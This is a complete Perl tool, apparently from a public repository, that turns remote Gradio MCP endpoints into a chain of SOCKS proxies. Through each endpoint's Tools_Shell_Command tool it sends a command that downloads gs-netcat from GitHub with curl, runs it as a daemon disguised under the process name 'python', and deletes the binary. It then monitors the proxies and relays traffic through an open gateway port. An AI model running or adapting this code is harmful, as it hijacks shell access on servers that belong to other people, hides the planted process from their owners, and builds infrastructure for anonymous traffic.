luxferre/gsproxy
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
6b1bc595a3b89b2934ba5ea79421e148e18bb61f
gsproxy/gsproxy.pl
T

864 lines
25 KiB
Perl
Raw Normal View History

init commit
2026-09-14 18:14:28 +03:00
#!/usr/bin/env perl
# GSproxy: standalone Perl gs-netcat SOCKS proxy setup center
#
# Reads a CSV config of endpoint,secret,port[,label] and, for every row:
# 1. brings up a remote SOCKS server through an MCP Tools_Shell_Command
# call (mechanism from mcp_shell.sh) using the command shape from
# proxy-up.sh (gs-netcat -lSD -s SECRET, daemonized on the remote);
# 2. starts a local gs-netcat SOCKS client (gs-netcat -D -p PORT -s SECRET);
# 3. monitors each local SOCKS proxy and logs every status change;
# then exposes a gateway SOCKS port that relays to the first alive proxy
#
# Core modules only, no deps
#
# Created by Luxferre in 2026, released into the public domain
use strict;
use warnings;
use Getopt::Long;
use IO::Socket::INET;
use IO::Select;
use POSIX qw(:sys_wait_h setsid strftime);
use HTTP::Tiny;
use JSON::PP;
use Time::HiRes qw(sleep);
use File::Spec;
use Errno qw(EINTR EAGAIN);
use File::Basename qw(dirname);
my $NL = chr(10);
my $SQ = chr(39);
my $BS = chr(92);
my $SCRIPT_DIR = dirname(File::Spec->rel2abs($0));
my %opt = (
config => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
log => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
pidfile => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
state => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
gateway => 1080,
bind => '0.0.0.0',
interval => 30,
timeout => 10,
mcp_timeout => 60,
test_host => 'www.google.com',
test_port => 443,
workdir => '.',
gs_netcat => 'gs-netcat',
mcp_path => '/gradio_api/mcp/',
insecure => 0,
verbose => 0,
no_mcp => 0,
no_local => 0,
no_bringup => 0,
list => 0,
daemon => 1,
once => 0,
stop => 0,
status => 0,
selftest => 0,
help => 0,
);
GetOptions(
'config=s' => \$opt{config},
'log=s' => \$opt{log},
'pidfile=s' => \$opt{pidfile},
'state=s' => \$opt{state},
'gateway-port=i' => \$opt{gateway},
'bind=s' => \$opt{bind},
'interval=i' => \$opt{interval},
'timeout=i' => \$opt{timeout},
'mcp-timeout=i' => \$opt{mcp_timeout},
'test-host=s' => \$opt{test_host},
'test-port=i' => \$opt{test_port},
'workdir=s' => \$opt{workdir},
'gs-netcat=s' => \$opt{gs_netcat},
'insecure' => \$opt{insecure},
'verbose|v' => \$opt{verbose},
'no-mcp' => \$opt{no_mcp},
'no-local' => \$opt{no_local},
'no-bringup' => \$opt{no_bringup},
'list' => \$opt{list},
'daemon!' => \$opt{daemon},
'once' => \$opt{once},
'stop' => \$opt{stop},
'status' => \$opt{status},
'selftest' => \$opt{selftest},
'help|h' => \$opt{help},
) or usage(2);
usage(0) if $opt{help};
selftest() if $opt{selftest};
if ($opt{stop}) { stop_daemon(); exit 0; }
if ($opt{status}) { exit(do_status()); }
sub usage {
my ($code) = @_;
my $fh = $code ? *STDERR : *STDOUT;
print {$fh} <<USAGE;
gsproxy.pl - Perl gs-netcat SOCKS proxy setup center
Usage: gsproxy.pl [options]
Options:
--config FILE CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv)
--gateway-port PORT Gateway SOCKS port mapped to first alive SOCKS (default 1080)
--bind ADDR Address the gateway SOCKS listens on (default 0.0.0.0)
--interval SEC Monitor interval seconds (default 30)
--timeout SEC Per-check timeout seconds (default 10)
--mcp-timeout SEC MCP Tools_Shell_Command timeout (default 60)
--test-host HOST Host probed through each SOCKS (default www.google.com)
--test-port PORT Port probed through each SOCKS (default 443)
--workdir DIR Remote workdir for the MCP call (default .)
--gs-netcat PATH gs-netcat binary (default: from PATH)
--log FILE Log file (default ./gsproxy.log)
--pidfile FILE Pidfile (default ./gsproxy.pid)
--state FILE Runtime state file (default ./gsproxy.state)
--insecure Do not verify TLS certificates for the MCP endpoint
--no-mcp Skip the remote MCP bring-up call
--no-local Skip the local gs-netcat client start
--no-bringup Monitor only; never (re)start proxies
--no-daemon Run in the foreground
--once Single monitor pass then exit
--list Parse the config and print rows, then exit
--status Report whether the daemon is running
--stop Stop a running daemon
--selftest Run offline self-tests
-h, --help Show this help
USAGE
exit $code;
}
sub strip_eol {
my ($s) = @_;
chomp $s;
chop $s if length($s) && ord(substr($s, -1)) == 13;
return $s;
}
sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); }
sub logmsg {
my ($msg) = @_;
my $line = '[' . now_utc() . '] ' . $msg . $NL;
if (open my $fh, '>>', $opt{log}) { print $fh $line; close $fh; }
print STDERR $line if $opt{verbose};
}
sub shq {
my ($s) = @_
;
$s = '' unless defined $s;
my $out = $SQ;
for my $ch (split //, $s) {
if ($ch eq $SQ) { $out .= $SQ . $BS . $SQ . $SQ; }
else { $out .= $ch; }
}
return $out . $SQ;
}
sub which {
my ($name) = @_;
return $name if index($name, '/') >= 0 && -x $name;
for my $d (split /:/, ($ENV{PATH} || '')) {
next unless length $d;
my $p = $d . '/' . $name;
return $p if -x $p;
}
return undef;
}
sub mask {
my ($s) = @_;
$s = '' unless defined $s;
return '***' if length($s) <= 2;
return substr($s, 0, 2) . '***';
}
sub one_line {
my ($s) = @_;
$s = '' unless defined $s;
$s =~ s/[[:space:]]+/ /g;
return substr($s, 0, 300);
}
sub read_exact {
my ($fh, $n, $to) = @_;
$to = 5 unless defined $to && $to > 0;
my $sel = IO::Select->new($fh);
my $buf = '';
while (length($buf) < $n) {
return undef unless $sel->can_read($to);
my $r = sysread($fh, my $chunk, $n - length($buf));
return undef unless defined $r && $r > 0;
$buf .= $chunk;
}
return $buf;
}
sub read_config {
my ($file) = @_;
open my $fh, '<', $file or die 'cannot open config ' . $file . ': ' . $! . $NL;
my @rows;
my $lineno = 0;
while (my $line = <$fh>) {
$lineno++;
$line = strip_eol($line);
next if $line =~ /^[[:space:]]*$/;
next if $line =~ /^[[:space:]]*[#]/;
my @f = split /,/, $line, -1;
for (@f) { s/^[[:space:]]+//; s/[[:space:]]+$//; }
if ($f[0] =~ /^(endpoint|base|base_url|mcp|base_mcp_endpoint)$/i
&& (defined $f[2] ? $f[2] : '') !~ /^[0-9]+$/) {
next;
}
my ($endpoint, $secret, $port, $label) = @f;
if (!defined $endpoint || !length $endpoint || !defined $secret || !defined $port) {
warn 'config line ' . $lineno . ': need endpoint,secret,port' . $NL;
next;
}
if ($port !~ /^[0-9]+$/ || $port < 1 || $port > 65535) {
warn 'config line ' . $lineno . ': invalid port ' . $port . $NL;
next;
}
$label = 'row' . $lineno unless defined $label && length $label;
push @rows, {
endpoint => $endpoint,
secret => $secret,
port => $port + 0,
label => $label,
state => undef,
};
}
close $fh;
return \@rows;
}
sub parse_sse {
my ($body) = @_;
my @d = ($body =~ /^data:[[:space:]]*(.*)$/mg);
return @d ? $d[-1] : $body;
}
sub mcp_take_session {
my ($hdr, $res) = @_;
return unless ref $res eq 'HASH' && ref $res->{headers} eq 'HASH';
for my $k (keys %{ $res->{headers} }) {
if (lc $k eq 'mcp-session-id') { $hdr->{'Mcp-Session-Id'} = $res->{headers}{$k}; last; }
}
}
sub mcp_post {
my ($http, $url, $hdr, $body) = @_;
my $tries = 3;
my $r;
for my $i (1 .. $tries) {
$r = $http->post($url, { headers => $hdr, content => $body });
return $r if $r->{success};
my $st = defined $r->{status} ? $r->{status} : 0;
last if $st >= 400 && $st < 500 && $st != 408 && $st != 429;
sleep($i) if $i < $tries;
}
return $r;
}
sub mcp_call {
my ($endpoint, $cmd) = @_;
my $url = $endpoint;
$url =~ s{/+$}{};
if ($url !~ m{/gradio_api/mcp/?$} && $url !~ m{/mcp/?$}) {
$url .= $opt{mcp_path};
}
my $http = HTTP::Tiny->new(
timeout => $opt{mcp_timeout} + 30,
verify_SSL => $opt{insecure} ? 0 : 1,
);
my $hdr = {
'Content-Type' => 'application/json',
'Accept' => 'application/json, text/event-stream',
};
my $json = JSON::PP->new->utf8->allow_nonref;
my $init = $json->encode({
jsonrpc => '2.0', id => 1, method => 'initialize',
params => {
protocolVersion => '2024-11-05',
capabilities => {},
clientInfo => { name => 'gsproxy', version => '1.0' },
},
});
my $ir = mcp_post($http, $url, $hdr, $init);
return (0, 'MCP initialize HTTP ' . $ir->{status} . ' ' . $ir->{reason}) unless $ir->{success};
mcp_take_session($hdr, $ir);
my $ij = eval { $json->decode(parse_sse($ir->{content})) };
if ($ij && ref $ij eq 'HASH' && $ij->{error}) {
return (0, 'MCP initialize error: ' . (defined $ij->{error}{message} ? $ij->{error}{message} : 'unknown'));
}
my $note = $json->encode({ jsonrpc => '2.0', method => 'notifications/initialized' });
my $nr = mcp_post($http, $url, $hdr, $note);
mcp_take_session($hdr, $nr);
my $call = $json->encode({
jsonrpc => '2.0', id => 2, method => 'tools/call',
params => {
name => 'Tools_Shell_Command',
arguments => {
command => $cmd,
workdir => $opt{workdir},
timeout => $opt{mcp_timeout} + 0,
},
},
});
my $r = mcp_post($http, $url, $hdr, $call);
if (!$r->{success}) {
return (0, 'HTTP ' . $r->{status} . ' ' . $r->{reason});
}
my $data = parse_sse($r->{content});
my $j = eval { $json->decode($data) };
return (0, 'invalid JSON: ' . substr(defined $data ? $data : '', 0, 200)) unless $j;
return (0, 'ERROR: ' . (defined $j->{error}{message} ? $j->{error}{message} : 'unknown'))
if $j->{error};
my $content = (ref $j->{result} eq 'HASH' && ref $j->{result}{content} eq 'ARRAY')
? $j->{result}{content} : [];
my @text;
for my $item (@$content) {
next unless (defined $item->{type} ? $item->{type} : '') eq 'text';
push @text, $item->{text};
}
return (1, join($NL, @text));
}
sub _socks_handshake {
my ($s) = @_;
$s->autoflush(1);
my $greet = pack('C*', 5, 1, 0);
return 0 unless syswrite($s, $greet) == length($greet);
my $g = read_exact($s, 2, $opt{timeout});
return 0 unless defined $g && $g eq pack('C*', 5, 0);
my $host = $opt{test_host};
my $req = pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', $opt{test_port});
return 0 unless syswrite($s, $req) == length($req);
my $rep = read_exact($s, 4, $opt{timeout});
return 0 unless defined $rep;
return (ord(substr($rep, 0, 1)) == 5 && ord(substr($rep, 1, 1)) == 0) ? 1 : 0;
}
sub socks_alive {
my ($port) = @_;
my $s = IO::Socket::INET->new(
PeerAddr => '127.0.0.1',
PeerPort => $port,
Proto => 'tcp',
Timeout => $opt{timeout},
) or return 0;
my $ok = _socks_handshake($s);
close $s;
return $ok;
}
sub target_cmd {
my ($secret) = @_;
my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz';
my $args = shq('-lSD -s ' . $secret);
return qq{curl -fsSL $url | tar xz && GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
}
sub teardown_cmd {
my ($secret) = @_;
my $pat = shq('GSOCKET_ARGS=-lSD -s ' . $secret);
return 'for p in /proc/[0-9]*; do '
. 'grep -Fq -a -- ' . $pat . ' $p/environ 2>/dev/null && '
. 'kill $(basename $p) 2>/dev/null; '
. 'done; true';
}
sub read_proc_file {
my ($path) = @_;
open my $fh, '<', $path or return undef;
local $/;
my $c = <$fh>;
close $fh;
return $c;
}
sub find_local_pids {
my %ports = map { $_ => 1 } @_;
my @pids;
return @pids unless %ports;
opendir my $dh, '/proc' or return @pids;
for my $d (readdir $dh) {
next unless $d =~ /^[0-9]+$/;
my $raw = read_proc_file('/proc/' . $d . '/cmdline');
next unless defined $raw && length $raw;
my $flat = join(' ', split /[[:cntrl:]]/, $raw);
next unless $flat =~ /gs-netcat/;
next unless $flat =~ /(?:^|[[:space:]])-D(?:[[:space:]]|$)/;
next unless $flat =~ /(?:^|[[:space:]])-p[[:space:]]+([0-9]+)/;
push @pids, $d if $ports{$1};
}
closedir $dh;
return @pids;
}
sub teardown_local {
my ($rows) = @_;
my @pids = find_local_pids(map { $_->{port} } @$rows);
for my $pid (@pids) { kill('TERM', $pid); logmsg('teardown: TERM local gs-netcat pid ' . $pid); }
return scalar @pids;
}
sub teardown_remote {
my ($rows) = @_;
return 0 if $opt{no_mcp};
my $n = 0;
for my $e (@$rows) {
my ($ok, $out) = mcp_call($e->{endpoint}, teardown_cmd($e->{secret}));
logmsg('MCP teardown ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
$n++ if $ok;
}
return $n;
}
sub read_rows_or_empty {
my $r = eval { read_config($opt{config}) };
return () unless $r && ref $r eq 'ARRAY';
return @$r;
}
sub start_local {
my ($e) = @_;
my $gn = which($opt{gs_netcat});
return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn;
my $port = $e->{port};
my $cmd = $gn . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
system($cmd . q{ >/dev/null 2>&1 &});
return (1, 'started local gs-netcat on 127.0.0.1:' . $port);
}
sub bring_up {
my ($e) = @_;
my $label = $e->{label};
my $port = $e->{port};
logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port});
if (!$opt{no_mcp}) {
my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret}));
logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
}
if (!$opt{no_local}) {
my ($ok, $msg) = start_local($e);
logmsg('local: ' . $msg);
}
return 1;
}
sub write_state {
my ($alive) = @_;
open my $fh, '>', $opt{state} or return;
my $first = @$alive ? $alive->[0] : '';
print $fh $first, $NL;
print $fh join(' ', @$alive), $NL;
close $fh;
}
sub read_state_port {
open my $fh, '<', $opt{state} or return undef;
my $line = <$fh>;
close $fh;
return undef unless defined $line;
$line = strip_eol($line);
$line =~ s/[[:space:]]+$//;
return undef unless $line =~ /^[0-9]+$/;
return $line + 0;
}
sub pump {
my ($c, $u) = @_;
$c->autoflush(1);
$u->autoflush(1);
$SIG{PIPE} = 'IGNORE';
my $sel = IO::Select->new($c, $u);
my %is_client = (fileno($c) => 1);
while (1) {
my @ready = $sel->can_read(300);
return unless @ready;
for my $fh (@ready) {
my $n = sysread($fh, my $buf, 65536);
if (!defined $n) {
next if $! == EINTR || $! == EAGAIN;
my $op = $is_client{fileno($fh)} ? $u : $c;
eval { shutdown($op, 1) };
$sel->remove($fh);
next;
}
if ($n == 0) {
my $op = $is_client{fileno($fh)} ? $u : $c;
eval { shutdown($op, 1) };
$sel->remove($fh);
next;
}
my $dst = $is_client{fileno($fh)} ? $u : $c;
my $off = 0;
while ($off < length $buf) {
my $w = syswrite($dst, $buf, length($buf) - $off, $off);
unless (defined $w && $w > 0) {
next if defined $w && $! == EINTR;
eval { shutdown($dst, 1) };
$sel->remove($dst) if $sel->exists($dst);
last;
}
$off += $w;
}
}
last unless $sel->count;
}
}
sub handle_gateway_conn {
my ($c) = @_;
my $up = read_state_port();
return unless defined $up;
my $u = IO::Socket::INET->new(
PeerAddr => '127.0.0.1',
PeerPort => $up,
Proto => 'tcp',
Timeout => 10,
) or return;
eval { pump($c, $u) };
close $u;
close $c;
}
sub start_gateway {
my $gw = $opt{gateway};
my $bind = $opt{bind};
my $pid = fork();
return $pid if $pid;
$SIG{TERM} = sub { exit 0 };
$SIG{INT} = sub { exit 0 };
my $lsn = IO::Socket::INET->new(
LocalAddr => $bind,
LocalPort => $gw,
Proto => 'tcp',
Listen => 128,
ReuseAddr => 1,
) or do { logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!); exit 1; };
logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
while (my $c = $lsn->accept) {
my $p = fork();
if (defined $p && $p == 0) {
close $lsn;
handle_gateway_conn($c);
exit 0;
}
close $c;
1 while waitpid(-1, WNOHANG) > 0;
}
exit 0;
}
my %async_jobs;
sub spawn_bringup {
my ($e) = @_;
return 0 if $e->{bringing_up};
my $pid = fork();
return 0 unless defined $pid;
if ($pid == 0) {
$SIG{TERM} = 'DEFAULT';
$SIG{INT} = 'DEFAULT';
eval { bring_up($e) };
exit 0;
}
$async_jobs{$pid} = $e;
$e->{bringing_up} = 1;
return $pid;
}
sub reap_jobs {
for my $pid (keys %async_jobs) {
my $r = waitpid($pid, WNOHANG);
next if $r == 0;
my $e = delete $async_jobs{$pid};
$e->{bringing_up} = 0 if $e;
}
}
sub monitor_once {
my ($rows) = @_;
reap_jobs() unless $opt{once};
my @alive;
for my $e (@$rows) {
my $label = $e->{label};
my $port = $e->{port};
my $now = socks_alive($port) ? 'alive' : 'dead';
my $prev = $e->{state};
if (!defined $prev || $prev ne $now) {
logmsg(qq{SOCKS $label 127.0.0.1:$port is $now});
if ($now eq 'dead') {
if (!$opt{no_bringup}) {
if ($opt{once}) { bring_up($e); }
else { spawn_bringup($e); }
}
} elsif (defined $prev && $prev eq 'dead') {
logmsg(qq{SOCKS $label 127.0.0.1:$port recovered});
}
}
$e->{state} = $now;
push @alive, $port if $now eq 'alive';
}
write_state(\@alive);
return \@alive;
}
sub write_pidfile {
my @pids = @_;
open my $fh, '>', $opt{pidfile} or return;
print $fh join($NL, @pids), $NL;
close $fh;
}
sub read_pidfile {
open my $fh, '<', $opt{pidfile} or return ();
my @out;
for my $line (<$fh>) {
$line = strip_eol($line);
$line =~ s/[[:space:]]+$//;
push @out, $line if $line =~ /^[0-9]+$/;
}
close $fh;
return @out;
}
sub stop_daemon {
my @pids = read_pidfile();
my $any = 0;
for my $p (@pids) {
if (kill(0, $p)) { kill('TERM', $p); logmsg('stopped pid ' . $p); $any = 1; }
}
if (@pids) {
my @now = read_pidfile();
my %handled = map { $_ => 1 } @pids;
my $same = (@now == @pids) && !grep { !$handled{$_} } @now;
unlink $opt{pidfile} if $same;
}
my @rows = read_rows_or_empty();
my $nl = teardown_local([@rows]);
my $nr = teardown_remote([@rows]);
logmsg('teardown: local gs-netcat=' . $nl . ' remote gs-netcat=' . $nr);
if ($any) { print 'stopped' . $NL; }
elsif (@pids) { print 'no running daemon (stale pidfile)' . $NL; }
else { print 'no pidfile' . $NL; }
}
sub do_status {
my @pids = read_pidfile();
my @live = grep { kill(0, $_) } @pids;
if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; }
print 'gsproxy not running' . $NL;
return 1;
}
sub cleanup {
my ($gwpid, $rows) = @_;
kill('TERM', $gwpid) if $gwpid;
unlink $opt{pidfile};
if ($rows) {
my $nl = teardown_local($rows);
logmsg('teardown: local gs-netcat stopped=' . $nl);
my $nr = teardown_remote($rows);
logmsg('teardown: remote gs-netcat stopped=' . $nr);
}
}
sub run_foreground {
my ($rows) = @_;
my $gwpid;
if (!$opt{once}) {
$gwpid = start_gateway();
write_pidfile($$, $gwpid);
$SIG{TERM} = sub { cleanup($gwpid, $rows); exit 0 };
$SIG{INT} = sub { cleanup($gwpid, $rows); exit 0 };
logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway}
. ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's');
}
while (1) {
monitor_once($rows);
last if $opt{once};
sleep $opt{interval};
}
cleanup($gwpid, $rows) if $gwpid;
}
sub fake_socks_server {
my ($lsn) = @_;
while (my $c = $lsn->accept) {
my $p = fork();
if (defined $p && $p == 0) {
close $lsn;
$c->autoflush(1);
my $g = read_exact($c, 3, 5);
if (defined $g) {
syswrite($c, pack('C*', 5, 0));
my $hdr = read_exact($c, 4, 5);
if (defined $hdr) {
my $atyp = ord(substr($hdr, 3, 1));
if ($atyp == 1) { read_exact($c, 4, 5); }
elsif ($atyp == 3) { my $l = read_exact($c, 1, 5); read_exact($c, ord($l), 5) if defined $l; }
elsif ($atyp == 4) { read_exact($c, 16, 5); }
read_exact($c, 2, 5);
syswrite($c, pack('C*', 5, 0, 0, 1, 0, 0, 0, 0, 0, 0));
while (1) {
my $n = sysread($c, my $b, 4096);
last unless defined $n && $n > 0;
syswrite($c, $b);
}
}
}
exit 0;
}
close $c;
1 while waitpid(-1, WNOHANG) > 0;
}
}
sub selftest {
my $fails = 0;
my $ok = sub {
my ($cond, $name) = @_;
if ($cond) { print 'PASS ' . $name . $NL; }
else { print 'FAIL ' . $name . $NL; $fails++; }
};
my $tmp = '/tmp';
mkdir $tmp unless -d $tmp;
my $csv = $tmp . '/gsproxy_selftest.csv';
open my $cf, '>', $csv or die 'selftest: ' . $! . $NL;
my @lines = (
'endpoint,secret,port,label',
'https://mcp.example.org,sekret123,20001,alpha',
'https://mcp.other.org,topsecret9,20002,beta',
'# a comment',
'',
);
print $cf join($NL, @lines), $NL;
close $cf;
my $r = read_config($csv);
$ok->(scalar(@$r) == 2, 'csv row count');
$ok->($r->[0]{endpoint} eq 'https://mcp.example.org', 'csv endpoint');
$ok->($r->[0]{secret} eq 'sekret123', 'csv secret');
$ok->($r->[0]{port} == 20001, 'csv port');
$ok->($r->[0]{label} eq 'alpha', 'csv label');
my $tc = target_cmd('An71Z06C0al1710n');
$ok->(index($tc, qq{'-lSD -s An71Z06C0al1710n'}) >= 0, 'target_cmd secret');
$ok->(index($tc, q{$(uname -m)}) >= 0, 'target_cmd arch literal');
my $tq = target_cmd('ab' . chr(39) . 'cd');
$ok->(index($tq, chr(39) . chr(92) . chr(39)) >= 0, 'target_cmd quotes secret');
my $td = teardown_cmd('sekret123');
$ok->(index($td, 'GSOCKET_ARGS=-lSD -s sekret123') >= 0, 'teardown_cmd secret');
$ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty');
$opt{timeout} = 3;
my $lsn = IO::Socket::INET->new(
LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
Listen => 16, ReuseAddr => 1,
) or die 'selftest: cannot listen: ' . $! . $NL;
my $sport = $lsn->sockport;
my $spid = fork();
if (defined $spid && $spid == 0) { fake_socks_server($lsn); exit 0; }
sleep 0.3;
$ok->(socks_alive($sport), 'socks_alive live');
my $dead = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
my $dport = $dead->sockport;
close $dead;
$ok->(!socks_alive($dport), 'socks_alive dead');
my $free = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
my $gwport = $free->sockport;
close $free;
$opt{gateway} = $gwport;
$opt{state} = $tmp . '/gsproxy_selftest.state';
$opt{log} = $tmp . '/gsproxy_selftest.log';
open my $sf, '>', $opt{state} or die 'selftest state: ' . $! . $NL;
print $sf $sport . $NL . $sport . $NL;
close $sf;
my $gwpid = start_gateway();
sleep 0.3;
my $cli = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport, Proto => 'tcp', Timeout => 3);
if ($cli) {
$cli->autoflush(1);
syswrite($cli, pack('C*', 5, 1, 0));
my $greply = read_exact($cli, 2, 3);
$ok->(defined $greply && $greply eq pack('C*', 5, 0), 'gateway socks greeting');
my $host = 'example.com';
syswrite($cli, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
my $rep = read_exact($cli, 4, 3);
$ok->(defined $rep && ord(substr($rep, 1, 1)) == 0, 'gateway CONNECT relayed');
close $cli;
} else {
$ok->(0, 'gateway connect');
}
kill('TERM', $gwpid) if $gwpid;
kill('TERM', $spid) if $spid;
waitpid($gwpid, 0) if $gwpid;
waitpid($spid, 0) if $spid;
print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL));
exit($fails ? 1 : 0);
}
my $rows = read_config($opt{config});
if ($opt{list}) {
printf('%-40s %-14s %-6s %s' . $NL, 'ENDPOINT', 'SECRET', 'PORT', 'LABEL');
for my $e (@$rows) {
printf('%-40s %-14s %-6d %s' . $NL, $e->{endpoint}, mask($e->{secret}), $e->{port}, $e->{label});
}
exit 0;
}
die 'no usable rows in ' . $opt{config} . $NL unless @$rows;
for my $e (@$rows) {
if ($e->{port} == $opt{gateway}) {
logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label});
}
}
if ($opt{once} || !$opt{daemon}) {
run_foreground($rows);
exit 0;
}
if (!$ENV{GSPROXY_DAEMON}) {
my @old = read_pidfile();
if (grep { kill(0, $_) } @old) {
print 'gsproxy already running. Use --stop first.' . $NL;
exit 1;
}
unlink $opt{pidfile};
$ENV{GSPROXY_DAEMON} = 1;
my $pid = fork();
if ($pid) {
print 'gsproxy daemon started (pid ' . $pid . ')' . $NL;
exit 0;
}
setsid();
open STDOUT, '>>', $opt{log};
open STDERR, '>&STDOUT';
open STDIN, '<', '/dev/null';
}
run_foreground($rows);
exit 0;
Reference in New Issue Copy Permalink